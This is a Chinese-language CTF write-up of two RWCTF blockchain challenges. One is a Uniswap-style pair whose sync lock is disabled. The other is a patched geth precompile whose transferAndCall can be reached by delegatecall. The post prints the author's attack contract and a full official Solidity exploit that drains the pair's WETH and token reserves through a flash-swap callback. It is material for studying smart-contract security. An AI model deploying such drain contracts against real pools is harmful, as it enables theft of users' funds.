默认分类

RWCTF 正赛 & 体验赛 区块链

前言:两道uniswap类型的题目,体验赛是把sync的Lock关了。出现了K值计算问题。导致可以从类似闪电贷的情景下偷token。正赛是预编译合约,改编的情景来自于:https://medium.com/neon-labs/precompiled-contracts-in-neon-a-case-study-of-erc-20-wrapper-2a934e022eb9
后续可能有时间会有体系的学习下Uniswap等情景。 十分感谢 : iczc、zpano 对于正赛题目的指导

体验赛

原Uniswap中sync方法:
2023-01-10T14:28:10.png

就是为了防止进入swap后乱调池子中的Token比率。所以我们可以通过闪电贷拿钱之后回调函数再调sync。让他reserve变成最原来的样子。然后再给他转点A token。我没精确计算需要赚多少 直接转 1 Token了。

contract hacker1{
    Greeter greet=Greeter(0x650a459794183b0764De0640C7D94945282dD17D); //题目合约
    address ipairs=0x1C33249Cc8D1E6680453E7Dc419108123B7b775C;//pair合约
    address depl=0x36C577a6dc31210ee740825Bb376C6C60A12Ac60;//depolyer

// Greeter greet=Greeter(0x3FE6Ad8CEDb58588e3040E54434Ef83FE519a7d9); //题目合约
//     address ipairs=0xff1f3b23fD5aAeb0c0876563ADc00491Bdc9DDa7;//pair合约
//     address depl=0x040b009862195F4e149a4446f0d41213A6Bda6a0;//depolyer

    address tokenAA=greet.tokenA();
    address tokenBB=greet.tokenB();

    function one() public {
        greet.airdrop();
    }
    function two() public {
        IHappyPair ipair=IHappyPair(ipairs); //pair合约
        ipair.swap(1 ether,1 ether,address(this),"0x232333");
    }
    function three() public {
       IERC20(tokenBB).transfer(depl, 1 ether); //depolyer
    }

    function hack() public{
        greet.airdrop();
        IHappyPair ipair=IHappyPair(ipairs); //pair合约
        ipair.swap(0.0001 ether,1 ether,address(this),"0x0");
        IERC20(tokenBB).transfer(depl, 1 ether); //depolyer
    }
    fallback() external{
        IHappyPair ipair=IHappyPair(ipairs);
        ipair.sync();
        IERC20(tokenAA).transfer(ipairs, 0.99 ether);
    }
}

有个坑点 回调函数好像和源码给的不一样。结果卡了10h。。。 最后fallback成功拿下了。
后续看群里有人说burn 好像未授权,可能还有其他打法。。

正赛

情景和体验赛的相差不多。想要最后把Pair合约中的Token清空。
首先查看patch过的geth。有几个重要的点:

+func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+    if evm.interpreter.readOnly {
+        return nil, suppliedGas, ErrWriteProtection
+    }
+    inputArgs := &ApproveInput{}
+    if err = unpackInputIntoInterface(inputArgs, "approve", input); err != nil {
+        return nil, suppliedGas, err
+    }
+
+    return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount)
+}

+func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) {
+    if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil {
+        return nil, 0, err
+    }
+    loc := calculateAllowancesStorageSlot(owner, spender)
+
+    if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil {
+        return nil, 0, err
+    }
+
+    evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
+    return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil
+}

这里调整WETH TOKEN下 2个账户间转账的上线是直接通过

+    evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))

实现的。

第二点:

+func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+    if readOnly {
+        return nil, suppliedGas, ErrWriteProtection
+    }
+    inputArgs := &TransferAndCallInput{}
+    if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil {
+        return nil, suppliedGas, err
+    }
+
+    if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
+        return ret, remainingGas, err
+    }
+
+    code := evm.StateDB.GetCode(inputArgs.To)
+    if len(code) == 0 {
+        return ret, remainingGas, nil
+    }
+
+    snapshot := evm.StateDB.Snapshot()
+    evm.depth++
+    defer func() { evm.depth-- }()
+
+    if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
+        evm.StateDB.RevertToSnapshot(snapshot)
+        if err != ErrExecutionReverted {
+            remainingGas = 0
+        }
+    }
+
+    return ret, remainingGas, err
+}

这个TransferCall中。对于其call方法。

if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0)

evm.Call方法中 第一个设置的是caller。这里选用的 caller 是调用者而不是 WETH本身。
通过前言中的内容我们可以知道,预编译合约支持delegatecall。而这个时候我们就可以考虑把msg.sender指定给Pair合约。
从而实现任意转账。
也就是通过闪电贷中的call -> 恶意合约中delegatecall ->WETH.approve/WETH.transferandCall
从而实现的是Pair合约调用 WETH.approve和TOKEN.approve。
从而实现hacking.
给一个官方的exploit:

pragma solidity ^0.8.17;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";

interface IUniswapV2Pair {
    function token0() external view returns (address);

    function token1() external view returns (address);

    function mint(address to) external returns (uint liquidity);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function sync() external;
}

contract Exploiter is Ownable {
    using Address for address;

    address public WETH;
    address public token;
    IUniswapV2Pair uniswapV2Pair;

    constructor(address _WETH, address _pair) {
        WETH = _WETH;
        uniswapV2Pair = IUniswapV2Pair(_pair);
        address token0 = uniswapV2Pair.token0();
        address token1 = uniswapV2Pair.token1();
        require(token0 == WETH || token1 == WETH, "INVALID");
        token = token0 == WETH ? token1 : token0;
    }

    function exploit() external payable onlyOwner {
        (uint256 amount0, uint256 amount1) = uniswapV2Pair.token0() == WETH
            ? (1, 0)
            : (0, 1);
        uniswapV2Pair.swap(amount0, amount1, address(this), bytes("1"));

        uint256 balanceETH = IERC20(WETH).balanceOf(address(uniswapV2Pair));
        uint256 balanceToken = IERC20(token).balanceOf(address(uniswapV2Pair));

        IERC20(WETH).transferFrom(
            address(uniswapV2Pair),
            msg.sender,
            balanceETH
        );
        IERC20(token).transferFrom(
            address(uniswapV2Pair),
            msg.sender,
            balanceToken
        );

        uniswapV2Pair.sync();
    }

    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        require(
            msg.sender == address(uniswapV2Pair) && sender == address(this),
            "FORBIDDEN"
        );
        uint256 amountOut = 1;
        IERC20(WETH).transfer(
            msg.sender,
            (amountOut * 1000) / (amountOut * 997) + 1
        ); // repayment

        bytes memory approveData = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            type(uint256).max
        );
        WETH.functionDelegateCall(approveData); // approve ETH
        WETH.functionDelegateCall( // approve SimpleToken
            abi.encodeWithSignature(
                "transferAndCall(address,uint256,bytes)",
                token,
                0,
                approveData
            )
        );
    }
}

2023-01-10T14:47:41.png

exploit()时候记得打钱。

回复

This is just a placeholder img.